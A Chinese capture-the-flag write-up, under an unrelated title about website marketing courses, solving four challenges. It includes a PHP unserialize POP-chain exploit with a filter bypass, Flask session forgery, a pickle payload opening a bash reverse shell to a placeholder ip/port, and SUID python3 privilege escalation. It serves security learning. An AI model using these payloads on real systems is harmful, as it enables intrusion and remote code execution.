网站如何进行建设营销课程培训

目录

D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

Serpent(pickle反序列化&python提权)

ArkNights(环境变量泄露)

Ez_misc(win10sinpping_tools恢复)

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D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

访问/p0p.php 跳转到了游戏界面

应该是存在302跳转 burp抓包 提示 /hint.zip

下载下来得到一段密文：

Ö0 0vO Ow0 0w0 Ö0 ÖO Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0Ö Öo owO O.0 owo Öo owO O.0 owo Ö0 0wÖ O.0 0w0 Ö0 OwO ov0 owo o_O O.Ö Övo

尊嘟假嘟翻译器解密得到：flag在/tmp/catcatf1ag.txt

PHP＜=7.4.21

存在Development Server源码泄露漏洞

得到 p0p.php的源码：

 <?phpheader("HTTP/1.1 302 found");header("Location:https://www.baidu.com");​class Pro{private $exp;private $rce2;​public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}}​class Yang{public function __call($name, $ary){if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}}class Cheng{private $finish;public $name;public function __get($value){​return $this->$value = $this->name[$value];}}class Bei{public function __destruct(){if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);}}public function __wakeup(){$this->key = false;}}​function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);}​$a = $_POST["CTF"];if (isset($a)){unserialize(prohib($a));}?># ./有hint.zip

简单php反序列化，构造pop链

 <?php​class Pro{private $exp;private $rce2 = "haha";​public function __get($name){echo "__get()";var_dump($this->$rce2=$this->exp[$rce2]);return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}}​class Yang{public function __call($name, $ary){echo " Yang::__call()  ";​if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {echo " call_user_func()";#echo $name,$ary[0];call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){echo " Yang::ycb()  ";$this->now = 0;return $this->finish->finish; # 给 $this->finish 赋 Cheng类 调其私有属性触发 __get()}public function __wakeup(){$this->key = True;}}class Cheng{private $finish;public $name;public function __get($value){echo " Cheng::__get() ";return $this->$value = $this->name[$value]; #}}class Bei{public function __destruct(){if ($this->CTF->ycb()) {  # 给$this->CTF 赋 Yang()类 调其 ycb()$this->fine->YCB1($this->rce, $this->rce1); # 给$this->fine 赋 Yang 不存在YCB1() 调其 __call()}}public function __wakeup(){$this->key = false;}}​function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);}​$a = new Bei();$a->CTF = new Yang();$a->CTF->finish = new Cheng();$a->CTF->finish->name = ["finish"=>"aaa"];​$a->fine = new Yang();​$a->fine->finish = new Cheng();$a->fine->finish->name = ["finish"=>"aaa"];$a->fine->finish1 = new Cheng();$a->fine->finish1->name = 1;​$a->fine->now['YCB1'] = "syssystemtem";$a->rce = "cat /tmp/catcatf1ag.txt > a";​$b = serialize($a);echo urlencode($b);?>

由于存在一个过滤

 function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);}

但是过滤只是将关键字替换为空，可以双写绕过

因此将生成的序列化数据，修改 末尾 s%3A12%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A27%3A%22cat+%2Ftmp%2Fcatcatf1ag.txt+%3E+a%22%3B%7D 的 12替换为 6 这样过滤之后也可以正常反序列化

外带 flag内容到 a 访问/a 得到flag

Serpent(pickle反序列化&python提权)

访问/www.zip得到部分代码

 from flask import Flask, sessionfrom secret import secret​@app.route('/verification')def verification():try:attribute = session.get('Attribute')if not isinstance(attribute, dict):raise Exceptionexcept Exception:return 'Hacker!!!'if attribute.get('name') == 'admin':if attribute.get('admin') == 1:return secretelse:return "Don't play tricks on me"else:return "You are a perfect stranger to me"​if __name__ == '__main__':app.run('0.0.0.0', port=80)​

访问 /verification路由 cookie放到 jwt.io 里

得到 SECRET_KEY：GWHTHKpOjDIQ2b

flask 伪造session

 {"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}# python3 flask_session_cookie_manager3.py encode -s "GWHTHKpOjDIQ2b" -t '{"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUSEtwT2pESVEyYiJ9fQ.ZPLH7A.VLZkgFun7fWka435Q3Xrrxb_hWE

然后访问 得到secret

得到 /ppppppppppick1e路由

burp发包，在响应包得到：Hint: Source in /src0de 得到源码：

 @app.route('c0de')def src0de():f = open(__file__, 'r')rsp = f.read()f.close()return rsp[rsp.index("@app.route('/src0de')"):]​@app.route('ppppppppick1e')def ppppppppppick1e():try:username = "admin"rsp = make_response("Hello, %s " % username)rsp.headers['hint'] = "Source in c0de"pick1e = request.cookies.get('pick1e')if pick1e is not None:pick1e = base64.b64decode(pick1e)else:return rspif check(pick1e):pick1e = pickle.loads(pick1e)return "Go for it!!!"else:return "No Way!!!"except Exception as e:error_message = str(e)return error_message​return rsp​class GWHT():def __init__(self):pass​if __name__ == '__main__':app.run('0.0.0.0', port=80)

在/ppppppppick1e 路由会对session的pick1e值 进行pickle.load() 存在pickle反序列化，但是有一个未知的check() 需要绕过·

 import base64​#payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("")o.'payload = b'''(cossystemS'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'o.'''​# env | tee /tmp/aprint(base64.b64encode(payload))

可以o操作码绕过，system执行命令 刚开始可能是构造payload出错了，报错信息中还以为过滤了>

反弹不了shell 就一直想着怎么构造回显 将命令执行结构写入文件 查看写入的文件时，又一直显示 Permission Denied 。。。。

最后发现并没有过滤 > bash弹到shell之后，发现没有权限，需要提取 怪不得permission denied

查找具有suid权限的命令，找到了 /usr/bin/python3.8

可以python 进行提权

python3 -c "import os;os.setuid(0);os.system('/bin/bash');"

这里直接 python3 /flag

根据报错信息得到了flag

ArkNights(环境变量泄露)

非预期：

读取 /proc/1/environ 获得flag

Ez_misc(win10sinpping_tools恢复)

下载附件，得到一个图片 下面应该有东西

脚本恢复一下宽、高

宽：0x164

高：0x61

假的flag

010打开图片发现 IEND fivenumbers 字样 可能是win的自带截图

脚本恢复一下

得到flag